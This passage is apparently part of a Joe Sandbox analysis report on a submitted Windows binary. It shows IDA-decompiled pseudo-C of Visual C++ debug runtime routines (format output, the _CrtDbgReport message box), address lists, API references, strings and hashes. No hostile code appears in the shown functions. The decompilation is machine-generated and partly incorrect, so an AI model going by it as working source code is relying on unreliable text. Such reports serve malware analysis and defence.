						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AFC0(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E0042BF30(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0043c28a
0x0043c28a
0x0043c28a
0x0043c28a
0x0043c28a
0x0043c28a
0x0043c28e
0x0043c293
0x0043c296
0x0043c2a3
0x00000000
0x00000000
0x0043c2a9
0x0043c2a9
0x0043c2ab
0x0043c2b9
0x0043c2ad
0x0043c2ad
0x0043c2ad
0x0043c2c3
0x0043c2c9
0x0043c2d6
0x0043c2d8
0x0043c2dd
0x0043c2df
0x0043c2e4
0x0043c2e9
0x0043c2eb
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c2f8
0x0043c2f6
0x0043c300
0x0043c348
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x0043c84a
0x0043c850
0x0043c85a
0x0043c874
0x0043c88e
0x0043c895
0x0043c899
0x0043c899
0x0043c876
0x0043c87b
0x0043c87f
0x0043c87f
0x0043c85c
0x0043c861
0x0043c865
0x0043c865
0x0043c85a
0x0043c8a9
0x0043c8b5
0x0043c8cb
0x0043c8d0
0x0043c8d0
0x0043c8e6
0x0043c8eb
0x0043c8f4
0x0043c8fc
0x0043c912
0x0043c917
0x0043c917
0x0043c8fc
0x0043c91e
0x0043c9d8
0x0043c9eb
0x0043c9f0
0x00000000
0x0043c924
0x0043c924
0x0043c928
0x00000000
0x00000000
0x0043c92e
0x0043c931
0x0043c93a
0x0043c940
0x0043c940
0x0043c94f
0x0043c957
0x00000000
0x00000000
0x0043c959
0x0043c95c
0x0043c981
0x0043c986
0x0043c989
0x0043c996
0x0043c9a4
0x0043c9b7
0x0043c9bc
0x0043c9cb
0x00000000
0x0043c9cb
0x0043c998
0x0043c998
0x00000000
0x0043c998
0x0043c9d6
0x0043c9f3
0x0043c9fa
0x0043ca02
0x0043ca18
0x0043ca1d
0x0043ca1d
0x0043ca02
0x0043c9fa
0x0043ca20
0x0043ca24
0x0043ca2c
0x0043ca31
0x0043ca34
0x0043ca34
0x0043ca3b
0x0043ca3b
0x0043bbbb
0x0043bbc2
0x0043bbcf
0x0043bbd4
0x00000000
0x0043bbe7
0x0043bbf1
0x0043bc18
0x0043bbff
0x0043bc10
0x0043bc10
0x0043bbf1
0x0043bc22
0x0043bc28
0x0043bc34
0x0043bc37
0x0043bc45
0x0043bc48
0x0043bc55
0x0043bcfa
0x0043bd00
0x0043bd0d
0x00000000
0x00000000
0x0043bd13
0x0043bd19
0x00000000
0x0043bd20
0x0043bd20
0x0043bd3a
0x0043bd3f
0x00000000
0x00000000
0x0043bd47
0x0043bd47
0x0043bd4e
0x0043bd51
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd5d
0x0043bd60
0x0043bd67
0x0043bd6e
0x00000000
0x00000000
0x0043bd7a
0x0043bd7a
0x0043bd81
0x0043bd8d
0x0043bd90
0x0043bd96
0x0043bd9d
0x00000000
0x00000000
0x0043bd9f
0x0043bda5
0x0043bda5
0x0043bdac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf0
0x0043bdf0
0x0043bdf7
0x0043bdfa
0x0043be24
0x0043be27
0x0043be27
0x0043be31
0x0043be31
0x0043be35
0x0043bdfc
0x0043bdfc
0x0043be08
0x0043be0b
0x0043be0f
0x0043be11
0x0043be14
0x0043be14
0x0043be17
0x0043be1a
0x0043be1d
0x0043be1f
0x0043be1f
0x0043be22
0x0043be38
0x00000000
0x00000000
0x0043be3d
0x0043be3d
0x00000000
0x00000000
0x0043be49
0x0043be49
0x0043be50
0x0043be53
0x0043be73
0x0043be76
0x0043be76
0x0043be80
0x0043be80
0x0043be84
0x0043be55
0x0043be55
0x0043be61
0x0043be64
0x0043be68
0x0043be6a
0x0043be6a
0x0043be71
0x00000000
0x00000000
0x0043be8c
0x0043be8c
0x0043be93
0x0043be9f
0x0043bea2
0x0043bea8
0x0043beaf
0x0043bfc2
0x00000000
0x0043bfc2
0x0043beb5
0x0043bebb
0x0043bebb
0x0043bec2
0x00000000
0x0043bef9
0x0043bef9
0x0043befc
0x0043beff
0x0043bf02
0x0043bf29
0x0043bf29
0x0043bf2c
0x0043bf2f
0x0043bf32
0x0043bf56
0x0043bf56
0x0043bf59
0x0043bf5c
0x0043bf5f
0x0043bf98
0x0043bfa9
0x00000000
0x0043bfa9
0x0043bf61
0x0043bf61
0x0043bf64
0x0043bf67
0x0043bf6a
0x00000000
0x00000000
0x0043bf6c
0x0043bf6c
0x0043bf6f
0x0043bf72
0x0043bf75
0x00000000
0x00000000
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf7d
0x0043bf80
0x00000000
0x00000000
0x0043bf82
0x0043bf82
0x0043bf85
0x0043bf88
0x0043bf8b
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf90
0x0043bf93
0x0043bf96
0x0043bf9a
0x00000000
0x0043bf9a
0x00000000
0x0043bf96
0x0043bf34
0x0043bf34
0x0043bf37
0x0043bf3b
0x0043bf3e
0x00000000
0x0043bf40
0x0043bf43
0x0043bf46
0x0043bf4c
0x0043bf51
0x00000000
0x0043bf51
0x0043bf3e
0x0043bf04
0x0043bf04
0x0043bf07
0x0043bf0b
0x0043bf0e
0x00000000
0x0043bf10
0x0043bf13
0x0043bf16
0x0043bf1c
0x0043bf21
0x00000000
0x0043bf21
0x00000000
0x0043bfab
0x0043bfab
0x0043bfae
0x0043bfb1
0x00000000
0x00000000
0x0043bec9
0x0043bec9
0x0043becc
0x0043becf
0x0043bed2
0x0043beeb
0x0043beee
0x0043beee
0x0043bef1
0x0043bed4
0x0043bed4
0x0043bed7
0x0043beda
0x0043bee0
0x0043bee6
0x0043bee6
0x00000000
0x00000000
0x0043bfb6
0x0043bfb6
0x0043bfb9
0x0043bfb9
0x0043bfbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bfc7
0x0043bfc7
0x0043bfce
0x0043bfd4
0x0043bfda
0x0043bfdd
0x0043bfe3
0x0043bfea
0x00000000
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c7f7
0x0043c7fd
0x0043c800
0x0043c803
0x0043c806
0x0043c809
0x0043c80f
0x0043c80f
0x0043c80f
0x0043c817
0x0043c81b
0x00000000
0x00000000
0x0043c81d
0x0043c81d
0x0043c820
0x0043c823
0x0043c823
0x0043c828
0x0043c82b
0x0043c82e
0x0043c831
0x0043c834
0x0043c837
0x0043c83a
0x0043c83a
0x0043c83d
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043bff0
0x0043bff6
0x0043bff6
0x0043bffd
0x00000000
0x0043c381
0x0043c381
0x0043c38f
0x0043c38f
0x0043c392
0x00000000
0x00000000
0x0043c004
0x0043c007
0x0043c007
0x0043c00d
0x0043c00f
0x0043c012
0x0043c012
0x0043c015
0x0043c015
0x00000000
0x00000000
0x0043c14a
0x0043c14d
0x0043c14d
0x0043c152
0x0043c154
0x0043c157
0x0043c157
0x0043c15a
0x0043c15a
0x00000000
0x00000000
0x0043c54d
0x0043c54d
0x00000000
0x00000000
0x0043c0b4
0x0043c0b4
0x0043c0c0
0x0043c0c6
0x0043c0cd
0x0043c0db
0x0043c0db
0x0043c0e1
0x0043c0e4
0x0043c0f0
0x0043c145
0x00000000
0x0043c145
0x0043c0cf
0x0043c0cf
0x0043c0d5
0x0043c0d9
0x0043c0f8
0x0043c0f8
0x0043c0fe
0x0043c126
0x0043c12d
0x0043c133
0x0043c136
0x0043c139
0x0043c13f
0x0043c142
0x0043c100
0x0043c100
0x0043c106
0x0043c109
0x0043c10c
0x0043c112
0x0043c115
0x0043c118
0x0043c11a
0x0043c11d
0x0043c11d
0x00000000
0x0043c0fe
0x00000000
0x00000000
0x0043c399
0x0043c39c
0x0043c39f
0x0043c3a2
0x0043c3a8
0x0043c3ab
0x0043c3b2
0x0043c3b6
0x0043c3c1
0x0043c3c1
0x0043c3c5
0x0043c3dc
0x0043c3dc
0x0043c3e3
0x0043c3e5
0x0043c3e5
0x0043c3ec
0x0043c3ec
0x0043c3f3
0x0043c401
0x0043c404
0x0043c413
0x0043c416
0x0043c41a
0x0043c42f
0x0043c41c
0x0043c41c
0x0043c41f
0x0043c425
0x0043c42a
0x0043c42a
0x0043c41a
0x0043c439
0x0043c43c
0x0043c43f
0x0043c442
0x0043c445
0x0043c448
0x0043c44e
0x0043c454
0x0043c45c
0x0043c45d
0x0043c460
0x0043c461
0x0043c464
0x0043c465
0x0043c46c
0x0043c46d
0x0043c470
0x0043c471
0x0043c474
0x0043c475
0x0043c47b
0x0043c47c
0x0043c48b
0x0043c48d
0x0043c493
0x0043c493
0x0043c498
0x0043c49a
0x0043c49e
0x0043c4a0
0x0043c4a8
0x0043c4a9
0x0043c4ac
0x0043c4ad
0x0043c4bc
0x0043c4be
0x0043c4be
0x0043c49e
0x0043c4c1
0x0043c4c8
0x0043c4cb
0x0043c4d0
0x0043c4d0
0x0043c4d6
0x0043c4d8
0x0043c4e0
0x0043c4e1
0x0043c4e4
0x0043c4e5
0x0043c4f3
0x0043c4f5
0x0043c4f5
0x0043c4d6
0x0043c4f8
0x0043c4fb
0x0043c4fe
0x0043c501
0x0043c506
0x0043c50b
0x0043c50e
0x0043c511
0x0043c511
0x0043c514
0x0043c514
0x0043c517
0x0043c523
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c840
0x0043c3c7
0x0043c3c7
0x0043c3ce
0x0043c3d1
0x00000000
0x00000000
0x0043c3d3
0x0043c3d3
0x00000000
0x0043c3d3
0x0043c3b8
0x0043c3b8
0x00000000
0x00000000
0x0043c018
0x0043c018
0x0043c023
0x0043c02b
0x0043c032
0x0043c035
0x0043c035
0x0043c038
0x0043c098
0x0043c03a
0x0043c041
0x0043c047
0x0043c04d
0x0043c054
0x0043c057
0x0043c05d
0x0043c065
0x0043c067
0x0043c06e
0x0043c075
0x0043c07c
0x0043c084
0x0043c086
0x0043c088
0x0043c088
0x0043c08f
0x0043c09f
0x0043c0a5
0x0043c0a8
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c52b
0x0043c52e
0x0043c531
0x0043c534
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c594
0x0043c594
0x0043c59e
0x0043c59e
0x0043c5a4
0x0043c5a6
0x0043c5a9
0x0043c5a9
0x0043c5af
0x0043c5af
0x00000000
0x00000000
0x0043c546
0x0043c546
0x00000000
0x00000000
0x0043c15d
0x0043c15d
0x0043c161
0x0043c16f
0x0043c172
0x0043c163
0x0043c163
0x0043c163
0x0043c178
0x0043c17e
0x0043c184
0x0043c190
0x0043c196
0x0043c196
0x0043c199
0x0043c221
0x0043c221
0x0043c225
0x0043c227
0x0043c22d
0x0043c22d
0x0043c230
0x0043c237
0x0043c23a
0x0043c240
0x0043c240
0x0043c240
0x0043c246
0x0043c24c
0x0043c24f
0x0043c255
0x0043c257
0x00000000
0x00000000
0x0043c259
0x0043c259
0x0043c25f
0x0043c262
0x0043c264
0x00000000
0x00000000
0x0043c266
0x0043c26c
0x0043c26f
0x0043c26f
0x0043c277
0x0043c277
0x0043c27d
0x0043c27d
0x0043c282
0x00000000
0x0043c19f
0x0043c19f
0x0043c19f
0x0043c1a3
0x0043c1a5
0x0043c1aa
0x0043c1aa
0x0043c1ad
0x0043c1b0
0x0043c1b6
0x0043c1c8
0x0043c1c8
0x0043c1c8
0x0043c1cb
0x0043c1d1
0x00000000
0x00000000
0x0043c1d3
0x0043c1d3
0x0043c1d9
0x0043c1dc
0x0043c1de
0x00000000
0x00000000
0x0043c1e0
0x0043c1e0
0x0043c1e9
0x0043c1ef
0x0043c1f3
0x0043c1fb
0x0043c1fd
0x0043c1ff
0x0043c205
0x0043c205
0x0043c208
0x0043c208
0x0043c214
0x0043c217
0x0043c1bf
0x0043c1c2
0x0043c1c2
0x0043c1c5
0x0043c1c5
0x0043c21f
0x0043c285
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x00000000
0x0043c53d
0x0043c53d
0x00000000
0x00000000
0x0043c559
0x0043c559
0x0043c563
0x0043c563
0x0043c56d
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x0043c6d0
0x0043c6d0
0x0043c6d6
0x0043c6dc
0x0043c6e2
0x00000000
0x0043c690
0x0043c690
0x0043c690
0x0043c697
0x00000000
0x00000000
0x0043c699
0x0043c699
0x0043c6a4
0x0043c6aa
0x0043c6ac
0x0043c6b2
0x0043c6b5
0x0043c6b7
0x0043c6bd
0x0043c6c6
0x0043c6cb
0x0043c6e8
0x0043c6eb
0x0043c6eb
0x0043c6f0
0x0043c6f5
0x0043c6f5
0x0043c6fb
0x0043c6fd
0x0043c703
0x0043c709
0x0043c709
0x0043c712
0x0043c712
0x0043c6fb
0x0043c718
0x0043c71c
0x0043c72a
0x0043c72d
0x0043c730
0x0043c737
0x0043c739
0x0043c739
0x0043c71e
0x0043c71e
0x0043c71e
0x0043c746
0x0043c746
0x0043c74c
0x0043c74e
0x0043c74e
0x0043c755
0x0043c75b
0x0043c75e
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x0043c76e
0x0043c774
0x0043c774
0x0043c77a
0x00000000
0x00000000
0x0043c77c
0x0043c77c
0x0043c77f
0x0043c782
0x0043c789
0x0043c790
0x0043c798
0x0043c79e
0x0043c7a1
0x0043c7a4
0x0043c7ab
0x0043c7b7
0x0043c7bd
0x0043c7c3
0x0043c7ca
0x0043c7cc
0x0043c7d2
0x0043c7d2
0x0043c7d8
0x0043c7d8
0x0043c7de
0x0043c7e7
0x0043c7ec
0x0043c7ef
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x00000000
0x0043c76c
0x0043c75e
0x0043c69b
0x0043c69b
0x0043c6a2
0x00000000
0x00000000
0x00000000
0x0043c6a2
0x00000000
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x00000000
0x00000000
0x0043bdd4
0x0043bdd7
0x0043bddd
0x00000000
0x00000000
0x0043bdbe
0x0043bdc1
0x0043bdc4
0x00000000
0x00000000
0x0043bdb3
0x0043bdb6
0x0043bdb9
0x00000000
0x00000000
0x0043bde2
0x0043bde2
0x0043bde5
0x0043bde5
0x0043bde8
0x00000000
0x00000000
0x0043bdeb
0x00000000
0x00000000
0x0043bc5b
0x0043bc5b
0x0043bc5d
0x0043bc6b
0x0043bc5f
0x0043bc5f
0x0043bc5f
0x0043bc7b
0x0043bc88
0x0043bc8a
0x0043bc8f
0x0043bc91
0x0043bc96
0x0043bc9b
0x0043bc9d
0x0043bca2
0x0043bca8
0x0043bcaa
0x0043bcaa
0x0043bca8
0x0043bcab
0x0043bcb2
0x00000000
0x0043bcb4
0x0043bcb9
0x0043bcd5
0x0043bcdd
0x0043bcea
0x0043bcef
0x00000000
0x0043bcef
0x0043bcb2
0x0043bc55
0x0043ca40
0x0043ca47
0x0043ca5e
0x0043ca5e
0x0043ca68
0x0043ca68
0x0043ca6e
0x0043ca7b
0x0043ca7d
0x0043ca82
0x0043ca84
0x0043ca89
0x0043ca8e
0x0043ca90
0x0043ca95
0x0043ca9b
0x0043ca9d
0x0043ca9d
0x0043ca9b
0x0043caa5
0x0043caf0
0x0043caf9
0x0043cafe
0x0043caa7
0x0043caac
0x0043cac8
0x0043cad0
0x0043cadd
0x0043cae2
0x0043cae2
0x00000000
0x0043caa5
0x0043ca49
0x0043ca50
0x00000000
0x00000000
0x0043ca52
0x0043ca52
0x00000000
0x0043ca52
0x0043c302
0x0043c302
0x0043c307
0x0043c323
0x0043c32b
0x0043c335
0x0043c338
0x0043c33d
0x0043cb04
0x0043cb11
0x0043cb11
0x0043c34d
0x0043c353
0x0043c373
0x0043c355
0x0043c362
0x0043c362
0x0043c375
0x00000000
0x0043c375

APIs

_get_int_arg.LIBCMTD ref: 0043C28E
__get_printf_count_output.LIBCMTD ref: 0043C29C
__invalid_parameter.LIBCMTD ref: 0043C323
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C338
_write_multi_char.LIBCMTD ref: 0043C8CB
_write_string.LIBCMTD ref: 0043C8E6
_write_multi_char.LIBCMTD ref: 0043C912
__mbtowc_l.LIBCMTD ref: 0043C981

Strings

("'n' format specifier disabled", 0), xrefs: 0043C2D8, 0043C31E
("Incorrect format specifier", 0), xrefs: 0043BC8A, 0043BCD0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BC96, 0043BCC6, 0043C2E4, 0043C314
_woutput_s_l, xrefs: 0043BCCB, 0043C319

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: f4452558c03b23042f21768fa2f1842f315657d49ea05972d41f9f1ac6507b0e
Instruction ID: 254cfa2c80f0c784383e9bcb569f2292584a9ffe94c9cf152973ad1741739548
Opcode Fuzzy Hash: f4452558c03b23042f21768fa2f1842f315657d49ea05972d41f9f1ac6507b0e
Instruction Fuzzy Hash: 7CA17CF1D002299BDB24DF55CC85BAEB375AF88304F14509AE6097B282D7785E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00429AD7, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429AD7() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x404106;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BF00(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)( *(_t64 + 8) * 4 + "8R@")));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00423010(_t53));
					E0041DBF0( *(L00423010(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00423010(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041E160(E0041DCE0(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435A40(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D660(0x16);
					E00426200(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BF30(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429ad7
0x00429af1
0x00429aff
0x00429af3
0x00429af3
0x00429af3
0x00429b0f
0x00429b16
0x00429b1d
0x00429b24
0x00429b2b
0x00429b32
0x00429b39
0x00429b40
0x00429b47
0x00429b4e
0x00429b55
0x00429b59
0x00429b5a
0x00429b74
0x00429b7b
0x00429b80
0x00429b83
0x00429b8a
0x00429bab
0x00429bae
0x00429bb3
0x00429bb3
0x00429bb6
0x00429bbb
0x00429bc1
0x00429bc7
0x00429be9
0x00429bf9
0x00429bfe
0x00429bfe
0x00429c1a
0x00429c27
0x00429c2b
0x00429c35
0x00429c35
0x00429c41
0x00429c4a
0x00429c43
0x00429c43
0x00429c43
0x00429c59

APIs

__snwprintf_s.LIBCMTD ref: 00429B7B
__invoke_watson_if_oneof.LIBCMTD ref: 00429BAE
_wcscpy_s.LIBCMTD ref: 00429BF0
__invoke_watson_if_error.LIBCMTD ref: 00429BF9
___crtMessageBoxW.LIBCMTD ref: 00429C12
_raise.LIBCMTD ref: 00429C2B

Strings

__crtMessageWindowA, xrefs: 00429B98, 00429BD5
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00429B65
_CrtDbgReport: String too long or IO Error, xrefs: 00429BDF
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00429B93, 00429BD0
(*_errno()), xrefs: 00429B9D
Module: , xrefs: 00429AF3
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00429BDA
..., xrefs: 00429AD7, 00429B4E
Microsoft Visual C++ Debug Library, xrefs: 00429C06

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: 81a95a87f313597dcfcae8677488af45ad612535ec03f9435eb700db176c557f
Instruction ID: dfb675f7320e71fbcf45f55b873f78bee6b7b0d5027aa1cc660bbd1c3243a1c3
Opcode Fuzzy Hash: 81a95a87f313597dcfcae8677488af45ad612535ec03f9435eb700db176c557f
Instruction Fuzzy Hash: 263177B4B40228ABCB24DA55DC46FDA73B4AB48704F5040EEF209B62C5D6B85E808F59

Uniqueness

Uniqueness Score: -1.00%

Function 00434DA5, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434DA5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E004285E0(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E004285A0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E004358F0( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E004285A0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E004358F0( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
